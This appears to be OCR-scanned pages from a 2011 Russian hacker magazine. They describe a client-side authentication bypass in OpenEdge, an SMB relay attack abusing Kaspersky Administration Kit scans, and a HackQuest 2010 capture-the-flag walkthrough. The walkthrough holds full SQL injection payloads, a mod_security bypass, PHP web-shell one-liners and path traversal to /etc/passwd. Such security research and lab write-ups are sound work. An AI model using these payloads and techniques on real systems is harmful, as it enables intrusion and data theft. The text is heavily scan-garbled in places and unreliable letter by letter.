Sony

Danon

Mercedes -Benz

Ford Motor

Mazda Motor Corporat ion

Hei neken

Та к что, как види шь, эта штуковина очень мощная и дорогая , используется в крутых компаниях : 1 . Там мы ее и нашл и . Вернее, нашел ее sh2kerr и наш коллега [теперь уже работающий в Yandex) Алексей Трошичев. С помощью одного лишь сниффера на кли­ентской части они заметили одну деталь: от клиента к серверу не

� 062

Memory, оп write

передается ничего, что напоминало бы хэш па роля или сам па роль во время аутентификации. Сначала sh2kerr заметил, что вроде вот он - хэш. Но . . . он передавался от сервера к кл иентуl Это озадачи­ло наших героев. Понять, что происходит, было трудно, но штукер заподозрил, что тут-то и зарыт кл юч к разгадке. Однако времени на дебаг не было, так как он находился на объекте и должен был делать работу дал ьше. Зато а втор статьи на объекте не б ыл и рас­полагал временем. От штукера п оступил телефонный звонок с опи­санием п роблемы : «Неужели хэш от пароля посылается кл иенту? И есл и да, то что же кл иент делает с этим хэшем?» . Я подумал, что он бредит. Какой разработчи к напишет такую ерунду? Тем не менее, раз есть задача, то надо ее решать. Я скачал триал СУБД ОрепЕdgе, установил, настроил и начал копать. Первым делом я за пустил сниффер и п ровел аутентификацию. Слова Саши подтвердил ись - от клиента ничего дельного не идет, зато от сервера идет какая­то ботва, похожая на код, пароль, шифр или хэш . П роверить этот факт не соста вило труда . Сделав да мп табл ицы _Users., я увидел, что напротив логина Аdmiп, созданного мной , стоит точно такая же строка ка к и в ТСР-пакете от сервера к клиенту. Опять интуиция штукера не подвела - это был хэш. Но какого . . . почему от сервера? Что делает клиент? На эти воп росы помог ответить OllyDbg.

What the heck? Тут я расскажу подробнее, так как это может быть л юбоп ытно. Берем OllyDbg или Immu п i tуDеЬuggег и аттачимся к клиентскому процессу ОрепЕdgе - ргоwiп32 .ехе. Та к как хэш приходит от серве­ра, то требуется найти место разбора входящего трафика . Для нача­ла надо поставить брей кпоинт на фун кцию recv[) , та к ка к, видимо, с ее п омощью П О п олучает да нные . Известно, что эта фун кция прячется в библиотеке WS2_32.dll, но на всякий случай сдела-

ХАКЕР 0 3 / 1 46/ 2 0 1 1

Page 55: Хакер март 2011

�юция сравнения хэ�

ем поиск всех фун кци й . Оля делает это та к : правой кнопкой по полю с дизасм-кодом , далее «Search for - > Name i n a l l modules». В открывшемся окне несмотря на отсутствие поля ввода пишем « recv» И видим, что еще фун кция « recv» берется из WSOC K32 .d ll. Ста вим брейкпоинты на оба вызова. Жмем < F9 > IRun l и п ытаемся войти в СУБД. При этом У нас работает брейкпоинт на фун кции recv. Ок , смотрим , откуда при шел вызов функции Iпришел он из модуля prow32.d lll и ставим та м бреЙкпоинт. Тогда в следующий раз перед вызовом recv у нас сработает брейкпоинт в p row32.dll , и мы сможем отследить входя щие да нные по < F8 > , та к сказать, на глаз, перепры­гивая работу recv IESP+4 будет указывать на буфер, куда помеща­ются входные да нные от cepBepa l . Жмякаем кнопочки < F8 > и < F9 > ,

пока не увидим хэш в да нном буфере. Далее нам и нтересно, что будет с ЭТОЙ строкой : выделяем ее и ставим брей кпоинт на чтение !см . скриншотl. Жмем < F9 > и видим , что срабаты вает брейкпоинт на память в процессе mem move, то есть хэш меняет место, так что снимаем старый брейкпоинт и ставим его в другом м есте , выделяя область с хэшем после перемещен ия . Та к повторяем еще пару раз и в итоге видим , что на третий раз брейкпоинт у нас не на коп иро­вании , а на сравнении первого байта нашей строки :

СМР AL , BYTE PTR DS : [ ЕСХ]

В ЕСХ У на'с строка хэша из сети , в AL ба йт, который сравнивается с первым байтом хэша. Отмотав пару строчек в дизасме, види м :

MOV AL , BYTE PTR DS : [ EDX]

То есть в AL первый байт строки по адресу Е DХ, а там у нас какой­то другой хэш Iможно п редположить, а потом и убедиться в дебаг­гере, что этот второй хэш сч итается локально и берется из поля ввода пароля l . Далее, если сравнение успешно, то ЕСХ и Е DХ увеличива ются на еди н и цу, и п роцедура сравнения повторяется. Так реализована местная фун кция из p row32.dl l - dbut_stcompl l . Да нный кусок кода сравнива ет две строки , в нашем кон кретном случае - два хэша. И если все совпало, то возвра щается О . Если нет - то номер байта , где п роизошел косяк. Идем по коду далее, следя за ЕАХ после выхода из фун кции dbut_stcomp. И тут м ы видим, что ЕАХ делают отри цател ьным, а затем после R ET N про­исходит сравнение ЕАХ с нулем и , в зависимости от резул ьтата , разная обработка .

TEST ЕАХ , ЕАХ

JE SHORT prow32 . 1 0 2 4 6 5 3 F

MOV ECX , DWORD PTR DS : [ 10 6D1FF4 ]

MOV EDX , DWORD PTR DS : [ ЕСХ+ВО ]

PUSH EDX

PUSH 2С6

CALL prow3 2 . 1 0 0 2 6CAO ; ошибка аутентификации

Если ноль - то прыжок, если нет - то по < F9 > видим ошибку аутентифи кации . Поставив на сравнение брей кпоинт и убрав

ХАКЕР 03 / 1 46/ 2 0 1 1

остал ьные, е ще раз пытаемся выпол н ить аутентификацию, только после сравнения ЕАХ с нулем меняем JE на JNE . Та ким образом, неважно, чем закончилось сравнение , м ы идем сюда : prow32 . 1 024653F. После нажатия < F9 > ничего не п роизошло: н и ка­ких сообщений об ош ибке, только открылся и нтерфейс кли ента СУБД. П р и этом я мог менять и читать да нные в БД с помощью этого и нтерфейса. Сравнение п роделанных шагов с да нными из сниффера показал и , что сервер шлет хэш выбранного юзера кл иен­ту, кли ент сч итывает и сравн ивает хэши, п осле чего шлет резул ьтат серверу . . Другим и сл ова м и , это ка к если бы б ыл такой диалог :

Клиент : Привет , сервак , как жизнь? Как дети?

Форкаешься еще?

Сервер : Ну привет , клиентик . Ты сам-то чьих будешь?

Клиент : Ну как же это? Админ я , Админ !

Сервер : Ох . . . ну если ты Админ , ТО хэш твоего пароля

ХХХ ! Ты уверен , что у твоего пароля такой хэш?

Клиент : Ну ты скажешь ! Конечно ! У меня такой же хэш

и получился ! Админ я или кто , по-твоему !

Сервер : Ну раз Админ , то проходи !

Вот и все. Самая бредовая бага , которую я когда-либо видел. Патчим кл и ентскую DLL'KY и пароль нам больше н е нужен : 1 . Ка к разработч и к до такого додумался - пес его знает. Кстати , если пользователя не существует, то получ ится такой расклад:

Клиент : Привет , серва к , как жизнь? Как дети?

Форкаешься еще?

Сервер : Ну привет , клиентик . Ты сам-то чьих будешь?

Клиент : Ну как же это? ОткТе4нзН3рх я , ОткТе4нзН3рх !

Сервер : Эээ . . . Чувак , слышь , не знаю я никакого

ОткТе4нзН3рха . . .

КЛиент : Ну ты скажешь ! У меня вон и хэш совпал !

ОткТе4нзН3рх я . . .

Сервер : Ну раз ОткТе4нзН3рх , то проходи . . . !

М ы связались с разработч и ком и очень долго ждали , что он реш ит. Решил он п росто: да, это баг, но только для тех, кто использует СУБД-аутентификацию. Все крутые чува ки ее не должны использо­вать. А еще луч ше испол ьзуйте п-звенную архитектуру. Та кой ответ поняте н : баг невозможно исп равить хотя бы по причине обратной совместимости. Но факт есть фа кт.

Kaspersky AV 1000day Го воря об арх итектурных багах , надо пони мать, что и н о гда о н и зависят от множества факторов. Та к эта гл ава расскажет об оши бке во всеми л юбимом антивирусе и м е н и Касперского . Ош ибка п р и водит к удаленному испол н е н и ю произвол ьного кода, причем н и каких э ксплойтов п и сать не надо, да и вообще н и ч е го делать н е надо - все уже н а п исано и сдел ано . Значит, делал я с Алексеем Тюри н ы м aka G reenDog 'ну и н и ки У л юдей .. 1

� 06з

Page 56: Хакер март 2011

Session lnformation

Currentl y S e l ected Da t ab a g e

Connec=ted DБ9 : 1 Conne cted :

PhY9 i c a l пате : уе 9

ТSS7 DБ

Loqi c a l пате : TEST DБ

S chema holde r : ТES7 DБ

Dat aba g e type : PROGRE S S

Dat aba g e ver 9 i on : 1 0 Re 9 t r i ct ions :

Dat aba s e user id : tЖ:"Zl Dat aba g e code page : unde fined

Datab a g e collation : ba9ic

6 4 -bit Sequence 9 : enabled

La rge k e y ent ri e 9 : enabled

OpenEdge and Operating S Y9 t em

'"

ОК frint Результат - доступ в СУБД без пароля

внутренний пе нтест одн ой ком п а н и и , и все бы н ич е го , н о н и ка к и х не сломать: п а роли сменены , ОС п ропатч е н ы - что же делать? у меня случайно был в ключен сн иффер в С а i п . П о ка Леха ломал O rac le TN5 [что, кстати , тоже з а кон чилось успехо м ] , я открыл Ка й н - в з а кладке " Pa sswo rds - > 5 М В» к р о м е моего п рочего трэша была одна строчка , в которой говорилось, что некий сервер Х п ытался выпол н ить NТLМ -аутентифика ц и ю с моей рабочко й , испол ьзуя доменную учетку какого-то пол ьзо­вателя . В и м е н и уч етки явно п рослеж и валось слово « Ka sper» . С н иффер работал четыре часа , и л и ш ь оди н раз п роскочила та кая штука [мне е ще по везло, что п ротокол был 5 М В , а не 5 М В 2 , так ка к Ca in п ока н е умеет парсить новый протокол ] . Та к что же это за е рунда? С творением Евге н и я Ка сперского я н е очень знаком , одна ко Google помог разобраться . Ита к, очевидно , что есть некий централ ь н ы й сервер Каспера - это знают все . Н а остал ьных та чках стоит « кл иентская часть» , кото рая управляется централ ьной . Раз что-то п ыталось п р ол езть ко мне с сервака , где стоит Сервер Касперского, то очевидно , что та м есть некий фун кционал оп роса сети . П о гугл и в чутка , было выявлено , что та кой фун кционал и п ра вда есть . В Kaspersky Admin ist rat ion K i t 6/8 есть фича « О прос I Р-подсети » . Н а п исано , что эта фигня и щет новые ко м п ы в сети с помощью I С М Р- п и н га . П осле этого Ка спер п ытается за йти на н его по 5 М В , чтобы найти та м своего а ге нта и , не на йдя его , ком п добавляется в сп исок нерасп реде­ленных хосто в. Та к как разра баты вать свой протокол очень лень , то логично испол ьзо вать NТLМ -аутентификацию . Поняв все это, я п редположил, что раз речь идет о Ка спере , то учетка должна обладать несл а б ы м и правами . Н а следующее утро я в кл юч ил smЬ_геlау-модул ь из соста ва Metasplo i t , натравил е го на сервер У и з сети ком п а н и и и стал ждать. Ч е рез четыре часа у меня был ш елл на сервере У с учетной з а п и сью NT AUTH O R I TY/5Y5TE M . Ита к , что ж е п роизошло?

� 064

Help

Исходные данные : 1 . С еть на основе M icrosoft Active D i rectory. 2. Сервер Касперского с Аdmi пistгаt iоп Kit . з. В Аdmiп istгаtiоп Kit установлена опция « С ка н и рование I Р-сети » .

Убери галку -спаси сеть!

Свойства: IР-днапазоны L1J(8J Общие 1

�---------------------------------. 6 IIР'Дli':'П';ЗОНЫ Родительская гр�ппа:

o fазреwить опрос IР-диапазонов

Период опроса IР-диапазонов (МИН):

Опро,gить сейчас

ОК 11 1 Отмена Применить

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 57: Хакер март 2011

D D t+5t D 192.1б8.1.3 192.1б8.1.4

1,2,3 - Kaspersky network scan process 3,4,5 - 5МВ RELAY attack

192.1б8.1.5 192.1б8.1.6

Схема атаки на ресурсы в Wiпdоws-сети с серваком Каспера

По умолчанию ска н ирование происходит раз в семь часов . Так как серваку надо управл ять всеми та чка м и с анти в и русами . то та м везде должна быть учетка. причем с правами локал ьного адм ина . Ка спер п ытается залезть этой учеткой куда попало. даже на неиз вестн ы е ко м п ы в сети. например на наш хост с BackTrack . где запущен smb_relay. В этот момент м ы перех ватываем NТLМ-зап рос и перенаправляем на любой сервер или рабочку с Касперским [кроме сервера Х. откуда Ка спер ска н ит) . Други м и слова м и . мы п ытаемся выпол н ить аутентиф и кацию н а серваке У от и м е н и Каспера . У ответит нам NТLМ-Rеsропsе пакетом , кото­рый мы передадим серваку Каспера - Х. ОС на Х подумает, что все ОК и продолжит аутенти фикацию согласно ответу. М одуль sm b_re lay также будет пересылать па кеты У от имени Ка спера , что в итоге законч ится тем , что сервак У п роауте нтифици рует нас под сервисной доменной учеткой , которая и меет п рава локально­го адм и н а . Да нных прав достаточно , чтобы проинсталлить и за пу­стить, например , meterpreter. Та ким образом выполнено проник­новение и сервер У скомп рометирован [ вспоминая предыдущую статью, можно п р и ки нуть, что одного та кого п роникновения впол­не бы вает достаточно , чтобы захватить весь домен ) . Эксплойт работает для л юбой версии Windows, та к что это достаточно простой и универсал ьн ы й метод пробивания серваков [уч иты вая популярность в корпо рати вных сетях Ка спера ) . Архитектор п росто забыл п ро особенность протокола NTLM и е го н едостатки . Дал сл и ш ком большие права пол ьзователю и везде п ытается проау­тентифици роваться под е го и менем . Простая архитектура опро­са I Р-подсети + недостаточно надежный м етод аутентифи кации [NTLM) сделали свое дело .

и что? в да нной статье я хотел обратить внимание на то , как важно уделять в н и мание мелочам и деталям на эта пе построения идеи проекта и его архите ктуры. Ош ибки в логи ке очень просто э кс­плуатировать и сложно исправлять. Кроме того, если ты обратил вни мание , то все перечисленные тут ошибки были обна ружены руч ным анализом с помощью п ростейше го сетевого сниффера . Есл и поиск ошибок в коде хоть как-то можно а втоматизировать, то поиск логических ошибок - нел ьзя , это руч ная работа. П р и этом , к а к б ы л о сказано , на йти их несложно - вни мательность +

знание о то м , как это работает, всегда поможет понять угрозу. Будь вни мател ен и тау the force Ье with you . . . ::х:

ХАКЕР 03 /146/ 20 1 1

WEXLER.BOOK ESOOl «МЕТРО 2033» ДМИТРИЯ ГЛУХОВСКОГО И ЕЩЁ ДВА РОМАНА КУЛЬТОВОЙ СЕРИИ БЕСПЛАТНО

В ЭТОЙ ЭЛЕКТРОННОЙ КНИГЕ WEXLER

СТИЛ ЬН Ы Й ГАДЖЕТ 11 ЭКРАН S"

I!I'-I ИГРЫ

m АЛЮМИНИЕВЫЙ IJ КОРПУС! = . РАДИО И МР3

"о" КОЖАНЫЙ ЧЕХОЛ ;;;: . • ЭЛЕКТРОННАЯ а ЧТЕНИЕ 11 тыс. , = БИБЛИОТЕКА О СТРАНИЦ БЕЗ • - ���E 200 тыс. ПОДЗАРЯДКИ

• ф WeXLer. •

www.wexler. ru ·M.·B.jJ.iI.§.lili ТЕЛЕФОН ГОРЯЧЕЙ ЛИНИИ: 8 (800) 200 96 60

Page 58: Хакер март 2011

• • Д м и т р и й Е в т е е в . P o s i t i v e Te c h n o lo g i e s I d evteev.bLogsp o t . c o m l С е р г е й Рубл е в . P o s i t i v e Tec h n o t o g i e s I p t re s e a rc h . bLogsp Тарас « o x d e f » И в а ще н ко . Я н д е к с IbLog.oxdef . infol

v v

сАмы �и ЛУЧШИИ КВЕСТ! Руководство по прохождению HackOuest 201 О

в данной публикации описано прохождение большинства ..

предложенных этапов хак-квеста, которыи проходил в конце августа на фестивале Chaos Constructions 201 О, а затем в урезанном формате был доступен on[ine на портале SecurityLab .

HackQuest 2010 - это открытые соревнова ния по эащите и нфор­мации , сутью которых я вляется выполнение ряда разнообразных заданий , связанных с и нформационной безопасностью: web­hacking, social engi neeri ng, reverse engi neeri ng и тому подобное. Участн и кам хак-квеста п редоста влялась полная свобода выбора по прохождению зада ний - их можно было вы полнять в л юбой после­довательности. Для захвата одного кл юча [флага] необходимо было воспользоваться чередой реал ьных уязви мостей в самых настоя­щих [ п родуктивных] системах, так что участн ики кон курса могл и почувствовать себя реал ьными взломщиками : ! . П равда , резул ьтаты соревнований п родемонстрировал и , что для большинства участ­н и ков задания HackQuest 20 1 О оказались довольно сложны м и . Эта статья п редставляет собой руководство по п рохождению некоторых из них .

Задание N21 : Классика После предварительного скани рова ния сети обна руживался веб­сайт некого турагентства под назва нием «Хаос» . Немного поброди в по этому са йту, в разделе поиска можно было по выдаваемому базой да нных MySQL сообщению об ошибке отыскать уязвимость типа « Внедрен и е операторов SQL» [ insert-based ] . Стоит отметить, что сайт был защищен mod_security с правилами по умолчанию. Уязвимый SQL-запрос и меет вид:

� 066

$query = " INSERT INTO indexes ( text , source ) value

( , " . $_GET [ ' text ' ] . " , , " . $_GET [ ' ac t ion ' ] . " ) " ;

Та к и м образом , зап рос для проведения ата ки может в ы глядеть та к :

http : / / 1 7 2 . 1 6 . 0 . 2 / s earch . php?act ion=O&text =1 ' / * ! %2b ( s

elec t + l + from ( select+count ( * ) , concat ( ( select+user ( ) + fr

om+ information_schema . tabl e s + l imit+O , l ) , Ox3a , f l oor ( ra

nd ( O ) * 2 ) ) x+ from+informa t ion_schema . tables+group+by+x)

а ) * / , О ) - - +

П р и в еден н ы й в ы ш е з а п рос отобразит иденти ф и катор пользо­вател я , от и м е н и кото рого веб-п риложе н и е взаимодействует с базой да н н ы х . Ка к это работает? 1. И с п ол ьзуется кон струкция /* I . . . sq l -KOA .. */, кото рая позво­ляет в ы полнять SQL-KOA в обход п ра в илам по умол ч а н и ю всех версий mod_securi ty, в кл ючая послед н и е версии [ см . d evteev. Ь logspot . со т/2009 /1 O/sq l- i n i ect i оп -waf. htm l ] . 2. И с п ол ьзуется си мв ол « + » [%2Ь ] д л я ра боты со строка м и [ под­робнее см. h t tps:!lrdot .org/forum/s h owt h read .php?t=6 0] . З. И с п ол ьзуется у н и версал ьный способ проброса полезной на груз ки в сообще н и и об о ш и б ке [ см . qwazar. ruf?p=7] :

ХАКЕР 0 3 / 1 46/ 2 0 1 1

Page 59: Хакер март 2011

• Серое3l1аqУЮIII\f«XТЬ

Внедрение БQl-кода ln.16.0.2/search.php

G3 Описание Зl\OYl1ЫWn�«Н I10ГYT ocywесТ8НТЬ eнeДpeнl1e SQL-КОА�. ВtteAU)et01O SQI.·КOA� -)ТО tnOCоб К!NIА8НИЯ на бюу АФ1НЫХ е обхОА �1К(етееой�tfТЫ. 8 )TOМ�TOA8 мрамеТРЫ. мpeA� К 6.!!31! данных ЧI!pe3 вг6-�, �ТСЯ T� обраюм, чтобы H�b ISЫ1O�НЫЙ SQl')МpOC. H�wteP. Аобевnяя palNNНb/le (11МВ01IbI K�, )tJOYМЫUlletН«ll МQryT 8bW'IOJ1Нt1Tb AOnOfН1TellbНЫti W1POC C�TНO С nep8blt!. Атака может СIIУЖtНЪ АЛА сneДУtOЩttX L1e�j: 1. ГIo1ly'МTb AIXTyn К A4ННbfo1, которые oбt.нio неАОСТ'I'fИ>I. HnН nO�ТЬ Ao!НI1Ы! кoнфwypawО1сttCТertЫ, которые �yт IlCn01lb)QeaHbl AЛR бу дущих ау.,.,;, tianpнr4ep, 113нet1eННb11 � 1iO)I(8Т IIО�ТI1ТЬ xewи ПbPQлеМ nOl1bЮВОТелей, которые enoc:леАСТ8К1 нoryT быть РМWl\фроеаны меТОАОН переборЬ. 2. nOll'fЧl1ТЬ ДOCтynK КOWlЫOт� ор.-аннJllW1l1 чере, КOМnЫOTep, н<) котором н.)ХОДl1ТСЯ ба:sa донных; дnя )TorO 'ЛОУМЫШ�Н мorYT нtnOlIЫ084Tb процедуры 6a3bl A4I1t1b1X Н �tЯ � ЗGL, ICflTopbIe nOJeOМlOT no1tY'OIТb ДОСТУП к � CI"Teмe. Запрос дnя 8btf\OJlHeHMA атак,", htW:ll!n 16 Q Zlse",ф ptp?octi!!naONe'!(t-ТetSq%2рАnв"/,2Qngирsо' GEТ /search,php?actlon-o&tехt-Текст%ZOAJtЯ"Io2(hoнcк" НПР/I, 1 Нost: 172.16.0.2 IJser·Agent: МozIe/".O (c�; МSIE 6.0; wndows NT 7.0) РТХ Accept: textjttml. iмQefpno, Irnege/i»eo, WiqeJOf, irмoe/x-xbl:cмp, "1"';q-O,l ComectIon: dose

Сообщение об ошибке, свидетельствующее об уязвимо­сти SQL Injection

lota147 d,w,,",,·, 17 '001 WbeeI 512 А"! 10 16:02 . drwxr·,.,·, 17 ,ootwbed 512 Aug 10 16:02 .. • rw ••••••• 2 '001 w ., •• , •• , .• 1 '001 wbeel 6206 А"! 10 09-.29 СОРYRIGНТ drn",·,.,·x 2 '001 whed 1024 Aug 10 09:18 bin drn",,·,.,·, 7

Классическая эксплуатация уязвимости Remote File Including

У�3ВI1МОПЬ Уязвимая ссы�каa 172.16.0.9/ .. / .. / .. / . . / .. / .. / .. / . ./ . ./ .. /etc/passv/d

EJ Краткое описание Обнаружена у�3ВИИая ССЫЛlса,

EJ Описание Ссылка http·/l!72.16.0.9{ . . { . . { . . { . . { . ./ . . { . . { . . { . • { . . {etc{p"sswd

(одержимое Обход К�Т�ЛОГ� (GET /../ . . / • . / . . /. ./ . . / . . /../ . . / . . /etc/po" wd НТТР/l .0)

Информация Решение: ОбнОВИТЬ или насТРОИТЬ nporраммное обеспечение ИЛИ эакрЬrть ДОСТУП к этоН ссыпке,

РеЭУJlьтат работы

11 $Freeaso: src/etc!mo,ter.p.sswd,v 1.10.22.1.2.1 2009/10/25 01: 10:29 l<ensmith Ехр $

Уязвимость Path Traversal

select 1 frorn ( select count ( * ) , concat ( ( select

user ( » , Ox3a , f loor ( rand ( 0 ) * 2 » x frorn inforrnat ion_

scherna . tables group Ьу х ) а

4. SQL-зап рос приводится к синтаксически корректному виду путем доба вления конструкции «.0» > . а все лишнее обрезается с использованием двух сим волов тире. Чтобы обрезать конец доба в­ляемого за проса на веб-сервере. испол ьзуется п робельный символ «+» ' В НТТР G ЕТ-зап росе я вляется эквивалентом п робелу). Развивая вектор атаки . требовалось стянуть полез ные да нные из базы данных. Для MySQL 5.Х это довольно п росто. так ка к в этой версии присутствует база i пfогmаtiоп_sсhеmа. которая содержит всю необходимую и нформацию о структуре СУБД. Та ким образом. атака с использова нием уязви мости SQL I пjесt iоп сводилась к типовому набору запросо в :

http : / / 1 7 2 . 1 6 . 0 . 2 / search . php? act ion=0&text= 1 ' / * ! %2

b ( selec t + l + frorn ( select+count ( * ) , concat ( ( select+tab

lе_паrnе+ f rоrn+iпfоrrnаtiоп_sсhеrnа . tаblеs+whеrе+tаblе_

scherna ! = ' iпfоrrnаtiоп_sсhеrnа ' +апd+tаblе_sсhеrnа ! = ' rnуsql ,

ХАКЕР 03 / 1 46/ 2 0 1 1

поиск

поиос no сiЙту rт;vAМ� OIC

Qutry failed: DupБсаtе entry 'wer@Joca!hostl' ror key '�oup_k.ey'

-, Контакты

Query: INSERTINТO indexes (text,Jource) value Cl'l*l+(select 1 &-om(select count(*),coocat« se1ect userO &от information_schema..tabIes Iimit O,l),0x3a.8oor(rand(O)*2»x liom informalion_sc.hema.tables group Ьу х)а)-/,О)-- ',О)

Эксплуатация SQL Injection на сайте турагентства «Хаос»

Уязвимость Local File Including

.. . . � .., t2 ш:--.. -!....-- ��

Доска сообщении . .

Уязвимости из серии « old-school»

. .

+ l irnit+ O , l ) , Ох3 а , f l ооr ( rапd ( 0 ) * 2 » х+frоrn+ iпfоrrnа t iоп_

scherna . tables+group+by+x ) a ) * / , O ) - - +

На выходе - таблица аdmiпs .

httр : / / 1 7 2 . 1 6 . 0 . 2 / sеаrсh . рhр?асtiоп=0&tехt= 1 ' / * ! %2Ь

( sеlесt+ l + frоrn ( sеlесt+соuпt ( * ) , сопсаt « sеlесt+соlu

rnn_паrnе + frоrn+ iпfоrrnаtiоп_sсhеrnа . соlurnns +whеrе+tаblе_п

аrnе= ' аdrniпs ' + l irnit + 1 , 1 ) , Ох3а , f lооr ( rапd ( 0 ) * 2 »

х+ frоrn+ iпfоrrnа t iоп_sсhеrnа . соlurnns+grоuр+Ьу+х ) а ) * / , 0 ) ­

- +

http : / / 1 7 2 . 1 6 . 0 . 2 / search . php?ac t i on=0&text = 1 ' / * ! %2 b

( selec t + 1 + frorn ( select+count ( * ) , concat « selec t+colu

rnn_паrnе+ frоrn+ iпfоrrnа t iоп_sсhеrnа . соlurnns+whеrе+tаblе_п

аrnе= ' аdrniпs ' + l irnit+2 , 1 ) , Ох3 а , f l ооr ( rапd ( 0 ) *2 »

х+ frоrn+iпfоrrnаtiоп_sсhеrnа . соlurnns +grоuр+Ьу+х ) а ) * / , 0 ) ­

- +

А на десерт - и м е н а колонок lоgiп и password в таблице аdmi пs.

httр : / / 17 2 . 1 6 . 0 . 2 / sеаrсh . рhр?асt iоп=0&tехt =1 ' / * ! %2Ы s

еlес t + l + f rоrn ( sеlесt+соuпt ( * ) , сопсаt « sеlесt+сопсаt_ws

( Ох3а , lоgiп , раsswоrd ) + frоrn+аdrniпs + l irni t + 0 , 1 ) , Ox3a , f lo

оr ( rапd ( 0 ) *2 ) ) х+ frоrn+аdrniпs+grоuр+Ьу+х) а ) * / , 0 ) - - +

в результате получаем да нные и з табл ицы аdmiпs Iимя пользовате­ля и М D5-хеш от пароля ) . После получения М D5-хеша его требовалось восстановить. Самый п ростой способ - воспользоваться бесплатн ыми сервиса м и вос­ста новления М D5-хешей по « радужным табл и цам» Iнапример , xmd5. o rg) . Став обладателем и м е н и пользовател я и пароля . самое время вбить их в ка ко й - н ибудь и нтерфейс : ! . Обнаружить та ковой можно в файле ro bots . txt . расположенном в кор н евом каталоге веб-сер вера . После доступа в адм и н ку выдается сообще н и е об ош ибке. по которой ле гко определя ется уязвимость класса Remote F i le I пс lud iпg IRF I ) . Э ксплуата ция подобных уязвим остей я вляется довольно три виальной задачей и сводится к указа-

� 067

Page 60: Хакер март 2011

admin Every time уои smlle а! someone, it is ал action of Iove. а gift 10 Ihal person. а beautiful thing. -Molher Teresa

iШm1n When Ihings ае! harder. its esS@ntiaJ 10 keep уоиг head ир алd take IЛе lime 10 Iook аl Ihe beautiful things surrounding уои ?Q1G!)!}.2Q71.1И1WWd>

ш!.miD. Damn,. Its Truel DamnllsTrue I'm nOl perfect, Ьш I'm Ьепег IЛan уои' ех and gonna Ье better thaл your next� ZP!Q,9ft.2Q!з-4't91уоv.'fb

уя,IвиIмы�и сервис микроблоггинга к XSS

......... ,..,01< !мn J:!pмco !м.. � � � fnpМQ 41 - - е w 6) ш:о:;;..�pmw6.bII . К-- � t1 noc.--_ . р�- [UnWedJ I FiI-e Edit УО_ ТooIs Audit Servke ? 11 'LJ g Ili l tt> - � - .. - 1 '" -'< 1lI 1 .i! - 1 <, , 1I 't.;;;;;;--------Iu-tume IНмh ISIIt

Q" .I. 6j/.1.;;: ••

Обход ограничений SuEXEC

1 (j' 1 � 1 Ip� ,"0,#.9.

н и ю ата куемому веб-п р ил ожению зап рос ить файл с сервера ата кую ще го . Ата кую щий же подгота вл и ва ет файл , содержа щий код на языке Р Н Р. П р и м е р сам ого п ростого кода, позволяюще го выпол н ять команды операционной систе м ы : <?php passt hru [$_ R ЕОU ЕSТ[ ' с ' ] ] ; ? > . После получения возможности выполнения команд ОС требовалось скопи ровать приватный RSА-ключ одного из пользователей систе­мы, а затем, испол ьзуя полученный RSА-кл юч, реализовать доступ к системе по п ротоколу SSH и получить доступ к дол гожда нному флагу. Именно за последовательность SOLi- > R F I-> RSА задание и получи ­ло кодовое имя « Классика» .

Задание N22: Не классика На эта пе исследова ния сети можно было, а налогично предыду­щему зада нию, наткнуться на некое веб-приложение , связа н ное с S М S-серв иса ми . Беглый анализ позволял обнаружить уязвим ость типа « В н едрение операторов SOL» [select ion-based] в базе да н ных PostgreSOL:

http : / / 1 7 2 . 1 6 . 0 . 4 / index . php? r=recovery&name= 1&ema i l = 1

& s t atus=cast ( vers ion ( ) +as+numeric )

Приведенный выше запрос выведет версию используемой базы да нных в сообщении об ошибке. Это работает, так ка к, во-первых , приложение возвращает сообщение об ош ибке СУБД пользовате­лю , а во-вторых, испол ьзуется при ведение строкового типа к чис­ловому. Испол ьзуя базу i пfогmаtiоп_sсhеmа э кви валентно MySOL 5.х, можно ле гко и быстро восста новить структуру СУБД:

http : / / 1 7 2 . 1 6 . 0 . 4 / index . php?r=recovery&name= 1&ema i l = 1

&status=l ; select ( select+table_name+ from+ informa t i on_

schema . tabl e s + l imi t + 1 +0f fset+O ) : : text : : int - ­

http : / / 1 7 2 . 1 6 . 0 . 4 / index . php? r=recovery&name= 1&ema i l = 1

&status= l ; select ( selec t+tab l e_name+ from+informa t ion_

schema . table s + l imit +l+offset + 1 0 5 ) : : text : : in t - -

На выходе - табл и ца vsmsusers.

http : / / 1 7 2 . 1 6 . 0 . 4 / index . php?r=recovery&name=1&ema i l = 1 &

s tatus=1 ; se1ect + ( se1ect+co1umn_name+ f rom+ informa t i on_

schema . co1umns+where+table_name=chr ( 1 1 8 ) 1 1 chr ( 1 1 5 ) 1 1 с

� 068

LFI over Ivar/mail

б О obj

« /EF « /F 5 о R » /Туре /Fi1espec /F I(Request . �)I »

endobj

7 О obj

« /Паmes [ (Request . �) б О R] »

endoh;

Содержимое pdf-файла с flаsh-объектом внутри

hr ( 1 0 9 ) I l chr ( 1 1 5 ) I l chr ( 11 7 ) I l chr ( 1 1 5 ) I l chr ( 1 0 1 ) I l chr (

1 1 4 ) I l chr ( 1 1 5 ) +l imit+ 1+ 0 f f s et + 1 ) : : text : : in t - -

На выходе - имена колонок log in и password в табл ице vsmsusers. Следуя подсказке, что в системе зарегистрирован м иллион н ы й пользо ватель, кото рого ждет сп ециал ьное возна гражде н и е , требовалось получ ить доступ именно к е го учетн ой з а п и с и [ и нте­ресно , что участн и ки ста рател ьно не замечал и эту подсказку и сл и вали всю табл и цу пол ьзо вател ей или пытал ись создать этого « козырного» м иллионного пол ьзовател я ] . П олуч и в доступ в и нтерфейс счастл и в ч и ка , можно за метить новый и нте рфейс , в котором содержится уязви мость типа F i le I nc lud ing [вернее даже Local F i le I nc lud ing/LF I ] . Сложность эксплуата ции уязвимости закл ючается в том, что про­исходит п роверка дл и н ы поступающего запроса , и , есл и о н не равен шестнадцати си мвол а м , то поступающий запрос не попа­дает в функцию inc lude [ ] . Решением этой проблемы является использование сам ого короткого Р Н Р веб- ш елла [см . razO r. name/ relea ses/m eg а- re liz-samyj - korotk i j -shell] .

http : / / 1 72 . 1 6 . 0 . 4 / index . php?u=LV 8 9 2 8 4 &p=data : , < ? =@ ' $с

' ?>&c=ls

